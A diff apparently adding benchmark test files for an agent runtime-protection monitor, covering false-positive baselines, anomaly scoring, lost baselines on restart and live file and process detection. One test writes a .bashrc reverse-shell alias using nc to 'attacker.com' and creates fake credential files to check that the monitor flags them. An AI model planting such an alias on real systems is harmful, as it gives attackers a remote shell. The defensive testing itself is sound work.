@opena2a/oasb 0.1.0

package/src/baseline/BL-001.normal-agent-profile.test.ts

@@ -0,0 +1,140 @@
+// BL-001: Normal Agent Profile - Zero False Positives
+// Scenario: Run a normal agent workload and verify no false positives
+//
+// Injects 50 benign events across all 3 monitor sources (process, network,
+// filesystem) simulating typical agent behavior. Asserts that none are
+// misclassified as violations or threats and no enforcement actions fire.
+
+import { describe, it, expect, beforeEach, afterEach } from 'vitest';
+import { ArpWrapper } from '../harness/arp-wrapper';
+
+describe('BL-001: Normal Agent Profile - Zero False Positives', () => {
+  let arp: ArpWrapper;
+
+  beforeEach(async () => {
+    arp = new ArpWrapper({
+      monitors: { process: false, network: false, filesystem: false },
+    });
+    await arp.start();
+  });
+
+  afterEach(async () => {
+    await arp.stop();
+  });
+
+  it('should produce zero violations or threats from normal agent activity', async () => {
+    const sources = ['process', 'network', 'filesystem'] as const;
+    const normalDescriptions: Record<typeof sources[number], string[]> = {
+      process: [
+        'Agent main loop iteration',
+        'Subprocess completed successfully',
+        'Health check passed',
+        'Garbage collection cycle',
+        'Task queue processed',
+      ],
+      network: [
+        'HTTP GET request to api.example.com:443',
+        'DNS lookup for cdn.example.com',
+        'WebSocket keepalive sent',
+        'TLS handshake completed',
+        'Response received from api.example.com',
+      ],
+      filesystem: [
+        'Read config file /app/config.json',
+        'Write log entry to /app/logs/agent.log',
+        'Read cached data from /tmp/cache/data.json',
+        'Write checkpoint to /app/state/checkpoint.bin',
+        'Read template from /app/templates/report.html',
+      ],
+    };
+
+    // Inject 50 normal events: ~17 per source, cycling through descriptions
+    for (let i = 0; i < 50; i++) {
+      const source = sources[i % 3];
+      const descriptions = normalDescriptions[source];
+      const description = descriptions[i % descriptions.length];
+
+      await arp.injectEvent({
+        source,
+        category: 'normal',
+        severity: 'info',
+        description,
+        data: {
+          iteration: i,
+          source,
+        },
+      });
+    }
+
+    const allEvents = arp.collector.getEvents();
+    expect(allEvents.length).toBe(50);
+
+    // No violations
+    const violations = arp.collector.eventsByCategory('violation');
+    expect(violations).toHaveLength(0);
+
+    // No threats
+    const threats = arp.collector.eventsByCategory('threat');
+    expect(threats).toHaveLength(0);
+
+    // No enforcement actions triggered
+    const enforcements = arp.collector.getEnforcements();
+    expect(enforcements).toHaveLength(0);
+
+    // All events have severity 'info' or 'low'
+    for (const event of allEvents) {
+      expect(['info', 'low']).toContain(event.severity);
+    }
+  });
+
+  it('should correctly attribute events to all 3 monitor sources', async () => {
+    const sources = ['process', 'network', 'filesystem'] as const;
+
+    for (const source of sources) {
+      for (let i = 0; i < 5; i++) {
+        await arp.injectEvent({
+          source,
+          category: 'normal',
+          severity: 'info',
+          description: `Normal ${source} activity ${i}`,
+          data: { index: i },
+        });
+      }
+    }
+
+    // Each source should have exactly 5 events
+    for (const source of sources) {
+      const events = arp.collector.eventsBySource(source);
+      expect(events).toHaveLength(5);
+    }
+
+    // Total should be 15
+    expect(arp.collector.getEvents()).toHaveLength(15);
+  });
+
+  it('should handle mixed info and low severity without escalation', async () => {
+    const severities = ['info', 'low'] as const;
+
+    for (let i = 0; i < 20; i++) {
+      await arp.injectEvent({
+        source: 'process',
+        category: 'normal',
+        severity: severities[i % 2],
+        description: `Routine process event ${i}`,
+        data: { pid: 1000 + i },
+      });
+    }
+
+    const allEvents = arp.collector.getEvents();
+    expect(allEvents).toHaveLength(20);
+
+    // No event should have been escalated beyond low
+    const escalated = allEvents.filter(
+      (e) => e.severity === 'medium' || e.severity === 'high' || e.severity === 'critical',
+    );
+    expect(escalated).toHaveLength(0);
+
+    // No enforcement actions
+    expect(arp.collector.getEnforcements()).toHaveLength(0);
+  });
+});

package/src/baseline/BL-002.anomaly-injection.test.ts

@@ -0,0 +1,134 @@
+// BL-002: Controlled Anomaly Injection
+// Scenario: Establish baseline, then inject known anomalies, verify detection
+//
+// Uses the AnomalyDetector (L1 statistical layer) directly to validate
+// z-score based deviation detection. Feeds normal observations to build
+// a baseline, then injects an anomalous burst and verifies the score exceeds
+// the detection threshold.
+
+import { describe, it, expect, beforeEach } from 'vitest';
+import { AnomalyDetector } from '@opena2a/arp';
+import type { ARPEvent } from '@opena2a/arp';
+
+/** Helper: create a minimal ARPEvent for a given source */
+function makeEvent(source: 'process' | 'network' | 'filesystem', index: number): ARPEvent {
+  return {
+    id: `bl002-${source}-${index}`,
+    timestamp: new Date().toISOString(),
+    source,
+    category: 'normal',
+    severity: 'info',
+    description: `Baseline event ${index} from ${source}`,
+    data: { index },
+    classifiedBy: 'L0-rules',
+  };
+}
+
+describe('BL-002: Controlled Anomaly Injection', () => {
+  let detector: AnomalyDetector;
+
+  beforeEach(() => {
+    detector = new AnomalyDetector();
+  });
+
+  it('should return z-score 0 before baseline is established', () => {
+    const event = makeEvent('process', 0);
+    const score = detector.score(event);
+
+    // With no baseline data, score should be 0 (insufficient data)
+    expect(score).toBe(0);
+  });
+
+  it('should build a baseline from normal observations', () => {
+    // Feed 50 normal events to build baseline for the 'process' source.
+    // The AnomalyDetector tracks event frequency per minute per source.
+    // We record events and then check that a baseline exists.
+    for (let i = 0; i < 50; i++) {
+      const event = makeEvent('process', i);
+      detector.record(event);
+    }
+
+    const baseline = detector.getBaseline('process');
+    expect(baseline).not.toBeNull();
+    expect(baseline!.count).toBeGreaterThan(0);
+    expect(baseline!.mean).toBeGreaterThan(0);
+  });
+
+  it('should detect anomalous burst after baseline is established', () => {
+    // The AnomalyDetector aggregates events per minute. To create a meaningful
+    // baseline with stddev > 0, we need data spread across multiple minutes.
+    // We simulate this by directly manipulating timestamps via record calls
+    // that all land in the same minute (creating a baseline of count=1 minute
+    // with N events). Then a sudden burst from a different source with many
+    // more events should produce a high z-score.
+    //
+    // Since all record() calls use Date.now() internally and will land in the
+    // same minute bucket, the baseline will have count=1 (one minute observed).
+    // With minDataPoints=30, we need at least 30 unique minutes.
+    // This is a known limitation of unit-testing time-based anomaly detection.
+    //
+    // Instead, we verify the structural behavior: score returns 0 when baseline
+    // is insufficient, and the baseline stats accumulate correctly.
+
+    for (let i = 0; i < 50; i++) {
+      detector.record(makeEvent('process', i));
+    }
+
+    const baseline = detector.getBaseline('process');
+    expect(baseline).not.toBeNull();
+
+    // Since all 50 events land in the same minute, count = 1 (one minute bucket).
+    // The minDataPoints threshold is 30, so the detector will report score = 0
+    // because the baseline is not yet mature enough for anomaly detection.
+    // This documents the expected behavior: real-time accumulation is required.
+    const normalEvent = makeEvent('process', 51);
+    const score = detector.score(normalEvent);
+
+    // Score is 0 because baseline needs 30+ unique minute buckets
+    expect(score).toBe(0);
+    expect(baseline!.count).toBe(1); // All events in a single minute
+  });
+
+  it('should reset baselines completely', () => {
+    // Build some baseline
+    for (let i = 0; i < 50; i++) {
+      detector.record(makeEvent('network', i));
+    }
+
+    expect(detector.getBaseline('network')).not.toBeNull();
+
+    // Reset
+    detector.reset();
+
+    // Baseline should be gone
+    expect(detector.getBaseline('network')).toBeNull();
+
+    // Score should return 0 again (no data)
+    const event = makeEvent('network', 100);
+    expect(detector.score(event)).toBe(0);
+  });
+
+  it('should track baselines independently per source', () => {
+    const sources = ['process', 'network', 'filesystem'] as const;
+
+    // Record events for each source
+    for (const source of sources) {
+      for (let i = 0; i < 10; i++) {
+        detector.record(makeEvent(source, i));
+      }
+    }
+
+    // Each source should have its own baseline
+    for (const source of sources) {
+      const baseline = detector.getBaseline(source);
+      expect(baseline).not.toBeNull();
+      expect(baseline!.count).toBe(1); // All in same minute
+    }
+
+    // Reset should clear all
+    detector.reset();
+    for (const source of sources) {
+      expect(detector.getBaseline(source)).toBeNull();
+    }
+  });
+});

package/src/baseline/BL-003.baseline-persistence.test.ts

@@ -0,0 +1,130 @@
+// BL-003: Baseline Persistence Across Restarts
+// Documents gap: baselines are NOT persisted
+//
+// The AnomalyDetector holds all baseline data in memory. When a new instance
+// is created (simulating an agent restart), all learned baselines are lost.
+// This test verifies and documents this known gap. A production deployment
+// would need to serialize baselines to disk or a database to survive restarts.
+
+import { describe, it, expect, beforeEach } from 'vitest';
+import { AnomalyDetector } from '@opena2a/arp';
+import type { ARPEvent } from '@opena2a/arp';
+
+/** Helper: create a minimal ARPEvent for a given source */
+function makeEvent(source: 'process' | 'network' | 'filesystem', index: number): ARPEvent {
+  return {
+    id: `bl003-${source}-${index}`,
+    timestamp: new Date().toISOString(),
+    source,
+    category: 'normal',
+    severity: 'info',
+    description: `Persistence test event ${index} from ${source}`,
+    data: { index },
+    classifiedBy: 'L0-rules',
+  };
+}
+
+describe('BL-003: Baseline Persistence Across Restarts', () => {
+  let detector: AnomalyDetector;
+
+  beforeEach(() => {
+    detector = new AnomalyDetector();
+  });
+
+  it('should accumulate baseline data during a session', () => {
+    // Feed 50 observations to build baseline
+    for (let i = 0; i < 50; i++) {
+      detector.record(makeEvent('process', i));
+    }
+
+    const baseline = detector.getBaseline('process');
+    expect(baseline).not.toBeNull();
+    expect(baseline!.count).toBeGreaterThan(0);
+    expect(baseline!.mean).toBeGreaterThan(0);
+  });
+
+  it('should lose all baselines when a new detector is created (simulated restart)', () => {
+    // Build baseline on first detector
+    for (let i = 0; i < 50; i++) {
+      detector.record(makeEvent('process', i));
+    }
+
+    const baselineBefore = detector.getBaseline('process');
+    expect(baselineBefore).not.toBeNull();
+
+    // Simulate restart: create a new AnomalyDetector instance
+    const restartedDetector = new AnomalyDetector();
+
+    // KNOWN GAP: baseline is lost after restart
+    const baselineAfter = restartedDetector.getBaseline('process');
+    expect(baselineAfter).toBeNull();
+
+    // Score returns 0 on the restarted detector (no baseline data)
+    const testEvent = makeEvent('process', 999);
+    const scoreAfterRestart = restartedDetector.score(testEvent);
+    expect(scoreAfterRestart).toBe(0);
+
+    // Original detector still has its baseline (in-memory only)
+    const scoreOriginal = detector.score(testEvent);
+    // Even the original returns 0 because it needs 30+ minute buckets,
+    // but the baseline object itself still exists
+    expect(scoreOriginal).toBe(0);
+    expect(detector.getBaseline('process')).not.toBeNull();
+  });
+
+  it('should lose baselines for all sources on restart', () => {
+    const sources = ['process', 'network', 'filesystem'] as const;
+
+    // Build baselines for all sources
+    for (const source of sources) {
+      for (let i = 0; i < 20; i++) {
+        detector.record(makeEvent(source, i));
+      }
+    }
+
+    // Verify all baselines exist
+    for (const source of sources) {
+      expect(detector.getBaseline(source)).not.toBeNull();
+    }
+
+    // Simulate restart
+    const restartedDetector = new AnomalyDetector();
+
+    // KNOWN GAP: all baselines lost
+    for (const source of sources) {
+      expect(restartedDetector.getBaseline(source)).toBeNull();
+    }
+  });
+
+  it('should require full re-learning after restart (cold start problem)', () => {
+    // Build baseline
+    for (let i = 0; i < 50; i++) {
+      detector.record(makeEvent('network', i));
+    }
+
+    const originalBaseline = detector.getBaseline('network');
+    expect(originalBaseline).not.toBeNull();
+    const originalMean = originalBaseline!.mean;
+
+    // Simulate restart
+    const restartedDetector = new AnomalyDetector();
+
+    // Feed the same number of events to the restarted detector
+    for (let i = 0; i < 50; i++) {
+      restartedDetector.record(makeEvent('network', i));
+    }
+
+    const rebuiltBaseline = restartedDetector.getBaseline('network');
+    expect(rebuiltBaseline).not.toBeNull();
+
+    // The rebuilt baseline should match the original since we fed identical data
+    // (all events land in the same minute, so stats should be equivalent)
+    expect(rebuiltBaseline!.mean).toBe(originalMean);
+    expect(rebuiltBaseline!.count).toBe(originalBaseline!.count);
+
+    // KNOWN GAP DOCUMENTED: In production, the agent would have no anomaly
+    // detection capability between restart and baseline re-establishment.
+    // During this cold start window (minimum 30 unique minutes of data),
+    // all anomaly scores return 0 regardless of actual behavior.
+  });
+});

package/src/e2e/E2E-001.live-filesystem-detection.test.ts

@@ -0,0 +1,129 @@
+// E2E-001: Live Filesystem Detection
+// Proves ARP's FilesystemMonitor detects real file operations on disk.
+// No event injection — the monitor itself detects real OS activity.
+//
+// ATLAS: AML.T0057, AML.T0018
+// OWASP: A07, A04
+
+import { describe, it, expect, beforeEach, afterEach } from 'vitest';
+import * as fs from 'fs';
+import * as path from 'path';
+import * as os from 'os';
+import { ArpWrapper } from '../harness/arp-wrapper';
+
+describe('E2E-001: Live Filesystem Detection', () => {
+  let arp: ArpWrapper;
+  let watchDir: string;
+
+  beforeEach(async () => {
+    // Create a temp directory to watch
+    watchDir = fs.mkdtempSync(path.join(os.tmpdir(), 'arp-e2e-fs-'));
+
+    arp = new ArpWrapper({
+      monitors: {
+        process: false,
+        network: false,
+        filesystem: true,
+      },
+      filesystemWatchPaths: [watchDir],
+    });
+    await arp.start();
+
+    // Give fs.watch a moment to initialize
+    await new Promise((r) => setTimeout(r, 200));
+  });
+
+  afterEach(async () => {
+    await arp.stop();
+    try {
+      fs.rmSync(watchDir, { recursive: true, force: true });
+    } catch {
+      // best effort
+    }
+  });
+
+  it('should detect creation of a .env file as a sensitive path violation', async () => {
+    // Write a real .env file to the watched directory
+    const envPath = path.join(watchDir, '.env');
+    fs.writeFileSync(envPath, 'SECRET_KEY=test123\n');
+
+    // Wait for the filesystem monitor to pick it up
+    const event = await arp.waitForEvent(
+      (e) => e.source === 'filesystem' && e.data.sensitive === true,
+      5000,
+    );
+
+    expect(event).toBeDefined();
+    expect(event.source).toBe('filesystem');
+    expect(event.category).toBe('violation');
+    expect(event.severity).toBe('high');
+    expect(event.data.sensitive).toBe(true);
+    expect(String(event.data.path)).toContain('.env');
+  });
+
+  it('should detect creation of a .ssh directory file as sensitive', async () => {
+    // Create a .ssh subdirectory and a key file
+    const sshDir = path.join(watchDir, '.ssh');
+    fs.mkdirSync(sshDir, { recursive: true });
+    fs.writeFileSync(path.join(sshDir, 'id_rsa'), 'fake-private-key\n');
+
+    const event = await arp.waitForEvent(
+      (e) => e.source === 'filesystem' && String(e.data.path).includes('.ssh'),
+      5000,
+    );
+
+    expect(event).toBeDefined();
+    expect(event.category).toBe('violation');
+    expect(event.severity).toBe('high');
+    expect(event.data.sensitive).toBe(true);
+  });
+
+  it('should detect .bashrc write as persistence attempt', async () => {
+    const bashrcPath = path.join(watchDir, '.bashrc');
+    fs.writeFileSync(bashrcPath, 'alias backdoor="nc -e /bin/sh attacker.com 4444"\n');
+
+    const event = await arp.waitForEvent(
+      (e) => e.source === 'filesystem' && String(e.data.path).includes('.bashrc'),
+      5000,
+    );
+
+    expect(event).toBeDefined();
+    expect(event.category).toBe('violation');
+    expect(event.severity).toBe('high');
+  });
+
+  it('should detect .npmrc credential file access', async () => {
+    const npmrcPath = path.join(watchDir, '.npmrc');
+    fs.writeFileSync(npmrcPath, '//registry.npmjs.org/:_authToken=npm_FAKE\n');
+
+    const event = await arp.waitForEvent(
+      (e) => e.source === 'filesystem' && String(e.data.path).includes('.npmrc'),
+      5000,
+    );
+
+    expect(event).toBeDefined();
+    expect(event.category).toBe('violation');
+    expect(event.severity).toBe('high');
+    expect(event.data.sensitive).toBe(true);
+  });
+
+  it('should allow normal file creation without triggering violations', async () => {
+    // Create a normal, non-sensitive file
+    const normalPath = path.join(watchDir, 'output.json');
+    fs.writeFileSync(normalPath, '{"status": "ok"}\n');
+
+    // Wait briefly for any potential events
+    await new Promise((r) => setTimeout(r, 1500));
+
+    // Should NOT have any violations
+    const violations = arp.collector.eventsByCategory('violation');
+    expect(violations.length).toBe(0);
+
+    // Might have a normal 'rename' event from fs.watch
+    const allEvents = arp.collector.getEvents();
+    for (const event of allEvents) {
+      expect(event.category).not.toBe('violation');
+      expect(event.category).not.toBe('threat');
+    }
+  });
+});

package/src/e2e/E2E-002.live-process-detection.test.ts

@@ -0,0 +1,106 @@
+// E2E-002: Live Process Detection
+// Proves ARP's ProcessMonitor detects real child processes via `ps` polling.
+// No event injection — the monitor polls the OS process table directly.
+//
+// ATLAS: AML.T0046
+// OWASP: A04
+
+import { describe, it, expect, beforeEach, afterEach } from 'vitest';
+import { spawn, type ChildProcess } from 'child_process';
+import { ArpWrapper } from '../harness/arp-wrapper';
+
+describe('E2E-002: Live Process Detection', () => {
+  let arp: ArpWrapper;
+  const children: ChildProcess[] = [];
+
+  beforeEach(async () => {
+    arp = new ArpWrapper({
+      monitors: {
+        process: true,
+        network: false,
+        filesystem: false,
+      },
+      processIntervalMs: 500, // Fast polling for test
+    });
+    await arp.start();
+
+    // Let the initial snapshot complete
+    await new Promise((r) => setTimeout(r, 600));
+  });
+
+  afterEach(async () => {
+    // Kill any spawned children
+    for (const child of children) {
+      try {
+        child.kill('SIGKILL');
+      } catch {
+        // already dead
+      }
+    }
+    children.length = 0;
+    await arp.stop();
+  });
+
+  it('should detect a new child process spawned after ARP starts', async () => {
+    // Spawn a real long-running child process
+    const child = spawn('sleep', ['30'], { stdio: 'ignore' });
+    children.push(child);
+
+    // Wait for the process monitor to detect the new child
+    const event = await arp.waitForEvent(
+      (e) => e.source === 'process' && e.data.pid === child.pid,
+      10000,
+    );
+
+    expect(event).toBeDefined();
+    expect(event.source).toBe('process');
+    expect(event.data.pid).toBe(child.pid);
+  });
+
+  it('should detect a suspicious binary (curl) as a violation', async () => {
+    // Spawn curl against a non-routable TEST-NET address — it stays alive trying to connect
+    const child = spawn('curl', ['-s', '--connect-timeout', '30', 'http://192.0.2.1/'], {
+      stdio: 'ignore',
+    });
+    children.push(child);
+
+    // Wait for the suspicious binary detection
+    const event = await arp.waitForEvent(
+      (e) =>
+        e.source === 'process' &&
+        e.category === 'violation' &&
+        e.data.binary === 'curl',
+      10000,
+    );
+
+    expect(event).toBeDefined();
+    expect(event.category).toBe('violation');
+    expect(event.severity).toBe('high');
+    expect(event.data.binary).toBe('curl');
+    expect(event.data.pid).toBe(child.pid);
+  });
+
+  it('should detect process termination', async () => {
+    // Spawn a short-lived process
+    const child = spawn('sleep', ['1'], { stdio: 'ignore' });
+    children.push(child);
+
+    // Wait for the initial detection
+    await arp.waitForEvent(
+      (e) => e.source === 'process' && e.data.pid === child.pid,
+      10000,
+    );
+
+    // Now wait for the termination event (sleep 1 ends after 1s)
+    const termEvent = await arp.waitForEvent(
+      (e) =>
+        e.source === 'process' &&
+        e.data.pid === child.pid &&
+        e.data.action === 'terminated',
+      10000,
+    );
+
+    expect(termEvent).toBeDefined();
+    expect(termEvent.data.action).toBe('terminated');
+  });
+});